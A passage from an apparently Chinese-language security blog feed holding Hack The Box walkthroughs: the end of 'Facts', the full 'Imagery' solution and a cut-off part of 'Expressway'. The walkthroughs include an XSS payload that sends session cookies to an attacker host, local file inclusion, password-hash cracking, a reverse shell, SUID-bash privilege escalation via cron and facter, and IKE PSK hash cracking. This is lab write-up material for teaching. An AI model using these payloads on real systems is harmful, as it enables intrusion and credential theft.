operator">&lt;&lt;</span> <span class="token string">'EOF'#!/usr/bin/env rubysystem("chmod +s /bin/bash")EOF</span>trivia@facts:/tmp/exploit$ <span class="token function">sudo</span> /usr/bin/facter --custom-dir<span class="token operator">=</span>/tmp/exploit/ xtrivia@facts:/tmp/exploit$ <span class="token function">bash</span> <span class="token parameter variable">-p</span>bash-5.2<span class="token comment"># cat /root/root.txt</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>flag1</td><td>&#x2F;home&#x2F;william&#x2F;user.txt</td></tr><tr><td>flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.zngyoikexpri{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/a66eeeb7/bdcd209c32f156fbfb2268f099971f75.png&quot; class=&quot;zngyoikexpri&quot; alt=&quot;HTB-facts&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="CVE" scheme="https://ry0ma24.github.io/tags/CVE/"/>
    
    <category term="LFI" scheme="https://ry0ma24.github.io/tags/LFI/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Imagery</title>
    <link href="https://ry0ma24.github.io/posts/3872553c.html"/>
    <id>https://ry0ma24.github.io/posts/3872553c.html</id>
    <published>2025-10-04T07:42:00.000Z</published>
    <updated>2025-10-04T09:36:03.932Z</updated>
    
    <content type="html"><![CDATA[<style>.bbgzyrhgkgfq{zoom:50%;}</style><img src="/posts/3872553c/image-20251004154017644.png" class="bbgzyrhgkgfq" alt="HTB-Imagery"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Medium</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.11.88  <span class="token parameter variable">-sV</span> --min-rate <span class="token number">1000</span>                                                                       Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-10-04 <span class="token number">10</span>:43 CSTWarning: <span class="token number">10.10</span>.11.88 giving up on port because retransmission cap hit <span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span>.Nmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.11.88Host is up <span class="token punctuation">(</span><span class="token number">0</span>.085s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">995</span> closed tcp ports <span class="token punctuation">(</span>conn-refused<span class="token punctuation">)</span>PORT     STATE    SERVICE     VERSION<span class="token number">22</span>/tcp   <span class="token function">open</span>     <span class="token function">ssh</span>         OpenSSH <span class="token number">9</span>.7p1 Ubuntu 7ubuntu4.3 <span class="token punctuation">(</span>Ubuntu Linux<span class="token punctuation">;</span> protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token number">800</span>/tcp  filtered mdbs_daemon<span class="token number">1840</span>/tcp filtered netopia-vo2<span class="token number">8000</span>/tcp <span class="token function">open</span>     http-alt    Werkzeug/3.1.3 Python/3.12.7<span class="token number">9000</span>/tcp <span class="token function">open</span>     http        SimpleHTTPServer <span class="token number">0.6</span> <span class="token punctuation">(</span>Python <span class="token number">3.12</span>.7<span class="token punctuation">)</span>Service Info: OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">106.94</span> seconds</code></pre><h3 id="XSS"><a href="#XSS" class="headerlink" title="XSS"></a>XSS</h3><p>访问8000端口，注册新账号并登录，点击“Report Bug”<img src="/posts/3872553c/image-20251004130342070.png" class="" title="register"></p><img src="/posts/3872553c/image-20251004162611620.png" class="" title="Reportbug"><p>输入payload ：<code>&lt;img src=x onerror=&quot;document.location=&#39;http://10.10.16.4:8000/&#39;+document.cookie&quot;&gt;</code>，然后提交</p><img src="/posts/3872553c/image-20251004163012387.png" class="" title="xss"><p>本地接收到cookie</p><pre class="language-none"><code class="language-none">$ python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http:&#x2F;&#x2F;0.0.0.0:8000&#x2F;) ...10.10.11.88 - - [04&#x2F;Oct&#x2F;2025 11:24:46] code 404, message File not found10.10.11.88 - - [04&#x2F;Oct&#x2F;2025 11:24:46] &quot;GET &#x2F;session&#x3D;.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOCNPw.MCFvc7DFwoC1SmjGMT5gr8Owsxo HTTP&#x2F;1.1&quot; 404 -10.10.11.88 - - [04&#x2F;Oct&#x2F;2025 11:24:46] code 404, message File not found</code></pre><p>点击F12, 将cookie替换成xss 获取到的cookie，刷新页面出现’Admin Panel’</p><img src="/posts/3872553c/image-20251004125240172.png" class="" title="替换cookie"><h3 id="LFI"><a href="#LFI" class="headerlink" title="LFI"></a>LFI</h3><p>点击 <code>Download Log</code> 抓包，参数 <code>log_identifier</code> 存在本地文件包含漏洞</p><img src="/posts/3872553c/image-20251004125550662.png" class="" title="admin panel"><p>访问..&#x2F;db.json</p><img src="/posts/3872553c/image-20251004125715053.png" class="" title="burp"><p>将获取的密码 hash 进行破解</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashcat <span class="token builtin class-name">hash</span> <span class="token parameter variable">-a</span> <span class="token number">0</span> <span class="token parameter variable">-m</span> <span class="token number">0</span>  /opt/secLists/rockyou.txt  hashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> starting<span class="token operator">&lt;</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token operator">></span>Host memory required <span class="token keyword">for</span> this attack: <span class="token number">4</span> MBDictionary cache hit:* Filename<span class="token punctuation">..</span>: /opt/secLists/rockyou.txt* Passwords.: <span class="token number">14344384</span>* Bytes<span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">139921497</span>* Keyspace<span class="token punctuation">..</span>: <span class="token number">14344384</span>2c65c8d7bfbca32a3ed42596192384f6:iambatman                                                                </code></pre><h3 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h3><p>使用账号<a href="mailto:&#116;&#x65;&#x73;&#116;&#x75;&#x73;&#x65;&#x72;&#64;&#105;&#109;&#97;&#x67;&#x65;&#x72;&#121;&#46;&#x68;&#x74;&#98;">testuser@imagery.htb</a> 和破解出的密码登录目标站点，随便上传一张图片，点击<code>Transform Image</code> </p><img src="/posts/3872553c/image-20251004165324958.png" class="" title="Transform image"><p>选择Crop，点击<code>Apply Transformation</code> , 抓包修改参数 <code>y</code> </p><img src="/posts/3872553c/image-20251004132834759.png" class="" title="Crop"><img src="/posts/3872553c/image-20251004132313763.png" class="" title="burp"><p>反弹shell成功</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">7777</span>                        Listening on <span class="token number">0.0</span>.0.0 <span class="token number">7777</span>Connection received on <span class="token number">10.10</span>.11.88 <span class="token number">60086</span>web@Imagery:~/web$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>web<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>web<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>web<span class="token punctuation">)</span></code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>在&#x2F;var&#x2F;backup 目录下有个web_20250806_120723.zip.aes 文件，使用file 命令查看信息，发现是pyAesCrypt 加密的文件</p><pre class="language-bash" data-language="bash"><code class="language-bash">web@Imagery:/var/backup$ <span class="token function">ls</span>web_20250806_120723.zip.aes$ <span class="token function">file</span> web_20250806_120723.zip.aes web_20250806_120723.zip.aes: AES encrypted data, version <span class="token number">2</span>, created by <span class="token string">"pyAesCrypt 6.1.1"</span></code></pre><p>下载文件并使用脚本对文件进行破解，将压缩包中的db.json 密码hash提取出来破解</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ python3 pyAesCrack.py <span class="token parameter variable">-e</span> web.zip.aes <span class="token parameter variable">-w</span> pass.txt <span class="token parameter variable">-o</span> web.zip <span class="token parameter variable">-p</span> <span class="token number">4</span>                <span class="token punctuation">[</span>+<span class="token punctuation">]</span> Working dir: /tmp/pyaescrack_work_zft_yh_i<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Using <span class="token number">4</span> worker<span class="token punctuation">(</span>s<span class="token punctuation">)</span>, <span class="token assign-left variable">bufferSize</span><span class="token operator">=</span><span class="token number">65536</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> Password found: <span class="token string">'bestfriends'</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> Decrypted <span class="token function">file</span> saved to: web.zip</code></pre><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashcat <span class="token builtin class-name">hash</span> <span class="token parameter variable">-a</span> <span class="token number">0</span> <span class="token parameter variable">-m</span> <span class="token number">0</span>  /opt/secLists/rockyou.txt                             hashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> starting<span class="token operator">&lt;</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token operator">></span>Dictionary cache hit:* Filename<span class="token punctuation">..</span>: /opt/secLists/rockyou.txt* Passwords.: <span class="token number">14344384</span>* Bytes<span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">139921497</span>* Keyspace<span class="token punctuation">..</span>: <span class="token number">14344384</span>01c3d2e5bdaf6134cec0a367cf53e535:supersmash               </code></pre><p>切换mark 用户</p><pre class="language-bash" data-language="bash"><code class="language-bash">web@Imagery:~/web$ <span class="token function">su</span> markPassword: supersmashmark@Imagery:~$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1002</span><span class="token punctuation">(</span>mark<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1002</span><span class="token punctuation">(</span>mark<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1002</span><span class="token punctuation">(</span>mark<span class="token punctuation">)</span></code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>查看sudo 配置文件，发现<code>/usr/local/bin/charcol</code> 并且支持交互式shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">mark@Imagery:~$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span>Matching Defaults entries <span class="token keyword">for</span> mark on Imagery:    env_reset, mail_badpass,    <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/bin<span class="token punctuation">\</span>:/snap/bin,    use_ptyUser mark may run the following commands on Imagery:    <span class="token punctuation">(</span>ALL<span class="token punctuation">)</span> NOPASSWD: /usr/local/bin/charcol    mark@Imagery:~$ <span class="token function">sudo</span> /usr/local/bin/charcol <span class="token parameter variable">-h</span>usage: charcol.py <span class="token punctuation">[</span>--quiet<span class="token punctuation">]</span> <span class="token punctuation">[</span>-R<span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>shell,help<span class="token punctuation">&#125;</span> <span class="token punctuation">..</span>.Charcol: A CLI tool to create encrypted backup <span class="token function">zip</span> files.positional arguments:  <span class="token punctuation">&#123;</span>shell,help<span class="token punctuation">&#125;</span>          Available commands    shell               Enter an interactive Charcol shell.    <span class="token builtin class-name">help</span>                Show <span class="token builtin class-name">help</span> message <span class="token keyword">for</span> Charcol or a specific command.options:  <span class="token parameter variable">--quiet</span>               Suppress all informational output, showing only                        warnings and errors.  -R, --reset-password-to-default                        Reset application password to default <span class="token punctuation">(</span>requires system                        password verification<span class="token punctuation">)</span>.</code></pre><p>使用charcol shell结合cron job进行提权，payload：<code>auto add --schedule &quot;* * * * *&quot; --command &quot;chmod 4755 /usr/bin/bash&quot; --name &quot;Set SUID Bash&quot; --log-output &quot;/home/mark/log.txt&quot;</code></p><pre class="language-bash" data-language="bash"><code class="language-bash">mark@Imagery:~$ <span class="token function">sudo</span> /usr/local/bin/charcol shell  ░██████  ░██                                                  ░██  ░██   ░░██ ░██                                                  ░██ ░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ ░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ ░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██  ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██   ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██                                                                                                                                                                                                             Charcol The Backup Suit - Development edition <span class="token number">1.0</span>.0<span class="token punctuation">[</span><span class="token number">2025</span>-10-04 06:52:28<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> Entering Charcol interactive shell. Type <span class="token string">'help'</span> <span class="token keyword">for</span> commands, <span class="token string">'exit'</span> to quit.charcol<span class="token operator">></span> auto <span class="token function">add</span> <span class="token parameter variable">--schedule</span> <span class="token string">"* * * * *"</span> <span class="token parameter variable">--command</span> <span class="token string">"chmod 4755 /usr/bin/bash"</span> <span class="token parameter variable">--name</span> <span class="token string">"Set SUID Bash"</span> --log-output <span class="token string">"/home/mark/log.txt"</span> <span class="token operator">&lt;</span> <span class="token string">"Set SUID Bash"</span> --log-output <span class="token string">"/home/mark/log.txt"</span> <span class="token punctuation">[</span><span class="token number">2025</span>-10-04 06:52:46<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> System password verification required <span class="token keyword">for</span> this operation.Enter system password <span class="token keyword">for</span> user <span class="token string">'mark'</span> to confirm: <span class="token punctuation">[</span><span class="token number">2025</span>-10-04 06:52:58<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> System password verified successfully.<span class="token punctuation">[</span><span class="token number">2025</span>-10-04 06:52:58<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> Auto job <span class="token string">'Set SUID Bash'</span> <span class="token punctuation">(</span>ID: 0103686f-60a3-4118-b422-72f18fa31b01<span class="token punctuation">)</span> added successfully. The job will run according to schedule.<span class="token punctuation">[</span><span class="token number">2025</span>-10-04 06:52:58<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> Cron line added: * * * * * <span class="token assign-left variable">CHARCOL_NON_INTERACTIVE</span><span class="token operator">=</span>true <span class="token function">chmod</span> <span class="token number">4755</span> /usr/bin/bash <span class="token operator">>></span> /home/mark/log.txt <span class="token operator"><span class="token file-descriptor important">2</span>></span><span class="token file-descriptor important">&amp;1</span>charcol<span class="token operator">></span> <span class="token builtin class-name">exit</span><span class="token punctuation">[</span><span class="token number">2025</span>-10-04 06:53:26<span class="token punctuation">]</span> <span class="token punctuation">[</span>INFO<span class="token punctuation">]</span> Exiting Charcol shell.mark@Imagery:~$ /usr/bin/bash <span class="token parameter variable">-p</span> bash-5.2<span class="token comment"># id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1002</span><span class="token punctuation">(</span>mark<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1002</span><span class="token punctuation">(</span>mark<span class="token punctuation">)</span> <span class="token assign-left variable">euid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1002</span><span class="token punctuation">(</span>mark<span class="token punctuation">)</span>bash-5.2<span class="token comment"># whoami</span>root</code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>flag1</td><td>&#x2F;home&#x2F;mark&#x2F;user.txt</td></tr><tr><td>flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.bbgzyrhgkgfq{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/3872553c/image-20251004154017644.png&quot; class=&quot;bbgzyrhgkgfq&quot; alt=&quot;HTB-Imagery&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="LFI" scheme="https://ry0ma24.github.io/tags/LFI/"/>
    
    <category term="XSS" scheme="https://ry0ma24.github.io/tags/XSS/"/>
    
    <category term="RCE" scheme="https://ry0ma24.github.io/tags/RCE/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Expressway</title>
    <link href="https://ry0ma24.github.io/posts/84373dcc.html"/>
    <id>https://ry0ma24.github.io/posts/84373dcc.html</id>
    <published>2025-10-03T13:59:00.000Z</published>
    <updated>2025-10-04T09:35:22.991Z</updated>
    
    <content type="html"><![CDATA[<style>.eggjarduroat{zoom:50%;}</style><img src="/posts/84373dcc/75c168f01f04e5f256838733b77f13ec.png" class="eggjarduroat" alt="HTB-Expressway"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">sudo</span> nmap <span class="token number">10.10</span>.11.87 <span class="token parameter variable">-sU</span> Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-10-03 <span class="token number">20</span>:38 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.11.87Host is up <span class="token punctuation">(</span><span class="token number">0</span>.31s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">994</span> closed udp ports <span class="token punctuation">(</span>port-unreach<span class="token punctuation">)</span>PORT      STATE         SERVICE<span class="token number">68</span>/udp    <span class="token function">open</span><span class="token operator">|</span>filtered dhcpc<span class="token number">69</span>/udp    <span class="token function">open</span><span class="token operator">|</span>filtered tftp<span class="token number">500</span>/udp   <span class="token function">open</span>          isakmp<span class="token number">1001</span>/udp  <span class="token function">open</span><span class="token operator">|</span>filtered unknown<span class="token number">4500</span>/udp  <span class="token function">open</span><span class="token operator">|</span>filtered nat-t-ike<span class="token number">21524</span>/udp <span class="token function">open</span><span class="token operator">|</span>filtered unknownNmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">1078.09</span> seconds</code></pre><h3 id="ike-scan"><a href="#ike-scan" class="headerlink" title="ike-scan"></a>ike-scan</h3><p><strong>IPsec</strong> 被广泛认为是保护网络之间（LAN到LAN）和从远程用户到网络网关（远程访问）通信的主要技术，是企业VPN解决方案的支柱。</p><p>在两个点之间建立**安全关联（SA）**的过程由**IKE**管理，IKE在ISAKMP的框架下运行，ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段：</p><ul><li><strong>阶段1：</strong> 在两个端点之间创建一个安全通道。这是通过使用预共享密钥（PSK）或证书来实现的，采用主模式，该模式涉及三对消息，或<strong>激进模式</strong>。</li><li><strong>阶段1.5：</strong> 虽然不是强制性的，这个阶段被称为扩展认证阶段，通过要求用户名和密码来验证试图连接的用户的身份。</li><li><strong>阶段2：</strong> 这个阶段专注于协商用于保护数据的<strong>ESP</strong>和<strong>AH</strong>的参数。它允许使用与阶段1不同的算法，以确保<strong>完美前向保密（PFS）</strong>，增强安全性。</li></ul><p><strong>默认端口：</strong> 500&#x2F;udp</p><p>使用ike-scan获取端点信息</p><pre class="language-none"><code class="language-none">$ sudo ike-scan -M 10.10.11.87                                                      1 ↵Starting ike-scan 1.9.5 with 1 hosts (http:&#x2F;&#x2F;www.nta-monitor.com&#x2F;tools&#x2F;ike-scan&#x2F;)10.10.11.87Main Mode Handshake returnedHDR&#x3D;(CKY-R&#x3D;de247831852d7075)SA&#x3D;(Enc&#x3D;3DES Hash&#x3D;SHA1 Group&#x3D;2:modp1024 Auth&#x3D;PSK LifeType&#x3D;Seconds LifeDuration&#x3D;28800)VID&#x3D;09002689dfd6b712 (XAUTH)VID&#x3D;afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)Ending ike-scan 1.9.5: 1 hosts scanned in 0.393 seconds (2.54 hosts&#x2F;sec).  1 returned handshake; 0 returned notify</code></pre><p><strong>最后一行的值的含义：</strong></p><ul><li><em>0 returned handshake; 0 returned notify:</em> 这意味着目标 <strong>不是 IPsec 网关</strong>。</li><li><em><strong>1 returned handshake; 0 returned notify:</strong></em> 这意味着 <strong>目标已配置为 IPsec，并愿意进行 IKE 协商，一个或多个变换是可接受的</strong>（有效的变换将在输出中显示）。</li><li><em>0 returned handshake; 1 returned notify:</em> VPN 网关在 <strong>没有变换可接受</strong> 时会回复通知消息（尽管有些网关不会，在这种情况下应进行进一步分析并尝试修订提案）。</li></ul><h3 id="暴力破解"><a href="#暴力破解" class="headerlink" title="暴力破解"></a>暴力破解</h3><p>使用 ike-scan 进行暴力破解 ID，并获取hash</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">sudo</span> ike-scan <span class="token parameter variable">-P</span> <span class="token parameter variable">-M</span> <span class="token parameter variable">-A</span> <span class="token parameter variable">-n</span> fakeID <span class="token number">10.10</span>.11.87                                      <span class="token number">1</span> ↵Starting ike-scan <span class="token number">1.9</span>.5 with <span class="token number">1</span> hosts <span class="token punctuation">(</span>http://www.nta-monitor.com/tools/ike-scan/<span class="token punctuation">)</span><span class="token number">10.10</span>.11.87Aggressive Mode Handshake returned<span class="token assign-left variable">HDR</span><span class="token operator">=</span><span class="token punctuation">(</span>CKY-R<span class="token operator">=</span>fff300ff3df79be4<span class="token punctuation">)</span><span class="token assign-left variable">SA</span><span class="token operator">=</span><span class="token punctuation">(</span>Enc<span class="token operator">=</span>3DES <span class="token assign-left variable">Hash</span><span class="token operator">=</span>SHA1 <span class="token assign-left variable">Group</span><span class="token operator">=</span><span class="token number">2</span>:modp1024 <span class="token assign-left variable">Auth</span><span class="token operator">=</span>PSK <span class="token assign-left variable">LifeType</span><span class="token operator">=</span>Seconds <span class="token assign-left variable">LifeDuration</span><span class="token operator">=</span><span class="token number">28800</span><span class="token punctuation">)</span>KeyExchange<span class="token punctuation">(</span><span class="token number">128</span> bytes<span class="token punctuation">)</span>Nonce<span class="token punctuation">(</span><span class="token number">32</span> bytes<span class="token punctuation">)</span>ID<span class="token punctuation">(</span>Type<span class="token operator">=</span>ID_USER_FQDN, <span class="token assign-left variable">Value</span><span class="token operator">=</span>ike@expressway.htb<span class="token punctuation">)</span><span class="token assign-left variable">VID</span><span class="token operator">=</span>09002689dfd6b712 <span class="token punctuation">(</span>XAUTH<span class="token punctuation">)</span><span class="token assign-left variable">VID</span><span class="token operator">=</span>afcad71368a1f1c96b8696fc77570100 <span class="token punctuation">(</span>Dead Peer Detection v1.0<span class="token punctuation">)</span>Hash<span class="token punctuation">(</span><span class="token number">20</span> bytes<span class="token punctuation">)</span>IKE PSK parameters <span class="token punctuation">(</span>g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r<span class="token punctuation">)</span>:62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc07675fc9c627cbe4292b3b358656d63388f715f243cedbe6e5dc66e7e5c4e518cdfe2cc6b1387dcb4a65c1abff4f4196f06a1332824c8e566fc2f85a2136ea755e0146983fbed4cbe2b2f3a11adb821789ecdf9f500fd726e1367ad8bf07416cebcb64c74bac812a1:d9563d9f5b8e615f4192980695b5aaa08e77e40c034510b114d36bc09a07938a211157944bed4d620cb2efa72d4b73f5c35ecf24467b230ed57108f3de9f3aa210935d92023017ba94724834be9c22d048f3573a1766ccc26bc445419468adf4ace93cd4cad4efd291deef9ec26268ec5fcb4ae3c8011bb14b7cb41194f33696:fff300ff3df79be4:bd98657989cf7d7f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:0cfe26cfa0503d187bb74384559c74075accfdd7:f0458c1d286b8b86f336514889a50bdec65981f77738cb54b7c45cf06ad74ee5:f8e8ec82b0b7f1f54e7e975b9186e8cb10affc1eEnding ike-scan <span class="token number">1.9</span>.5: <span class="token number">1</span> hosts scanned <span class="token keyword">in</span> <span class="token number">0.193</span> seconds <span class="token punctuation">(</span><span class="token number">5.17</span> hosts/sec<span class="token punctuation">)</span>.  <span class="token number">1</span> returned handshake<span class="token punctuation">;</span> <span class="token number">0</span> returned notify</code></pre><p>使用hashcat破解hash</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashcat <span class="token builtin class-name">hash</span> <span class="token parameter variable">-a</span> <span class="token number">0</span> <span class="token parameter variable">-m</span> <span class="token number">5400</span>  /opt/secLists/rockyou.txt  hashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> starting<span class="token operator">&lt;</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token operator">></span>62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc07675fc9c627cbe4292b3b358656d63388f715f243cedbe6e5dc66e7e5c4e518cdfe2cc6b1387dcb4a65c1abff4f4196f06a1332824c8e566fc2f85a2136ea755e0146983fbed4cbe2b2f3a11adb821789ecdf9f500fd726e1367ad8bf07416cebcb64c74bac812a1:d9563d9f5b8e615f4192980695b5aaa08e77e40c034510b114d36bc09a07938a211157944bed4d620cb2efa72d4b73f5c35ecf24467b230ed57108f3de9f3aa210935d92023017ba94724834be9c22d048f3573a1766ccc26bc445419468adf4ace93cd4cad4efd291deef9ec26268ec5fcb4ae3c8011bb14b7cb41194f33696:fff300ff3df79be4:bd98657989cf7d7f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:0cfe26cfa0503d187bb74384559c74075accfdd7:f0458c1d286b8b86f336514889a50bdec65981f77738cb54b7c45cf06ad74ee5:f8e8ec82b0b7f1f54e7e975b9186e8cb10affc1e:freakingrockstarontheroad                                                          Session<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: hashcatStatus<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: CrackedHash.Mode<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">5400</span> <span class="token punctuation">(</span>IKE-PSK SHA1<span class="token punctuation">)</span>Hash.Target<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: 62b0d5db43e615fcd1dad59c89a9037fb5e9c0bfe6da4fc0767<span class="token punctuation">..</span>.affc1eTime.Started<span class="token punctuation">..</span><span class="token punctuation">..</span>.: Fri Oct  <span class="token number">3</span> <span class="token number">21</span>:08:51 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">2</span> secs<span class="token punctuation">)</span>Time.Estimated<span class="token punctuation">..</span>.: Fri Oct  <span class="token number">3</span> <span class="token number">21</span>:08:53 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">0</span> secs<span class="token punctuation">)</span>Kernel.Feature<span class="token punctuation">..</span>.: Pure KernelGuess.Base<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: File <span class="token punctuation">(</span>/opt/secLists/rockyou.txt<span class="token punctuation">)</span>Guess.Queue<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span>Speed.<span class="token comment">#1.........:  5355.3 kH/s (2.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:16</span>Recovered<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>total<span class="token punctuation">)</span>, <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>new<span class="token punctuation">)</span>Progress<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">8060928</span>/14344384 <span class="token punctuation">(</span><span class="token number">56.20</span>%<span class="token 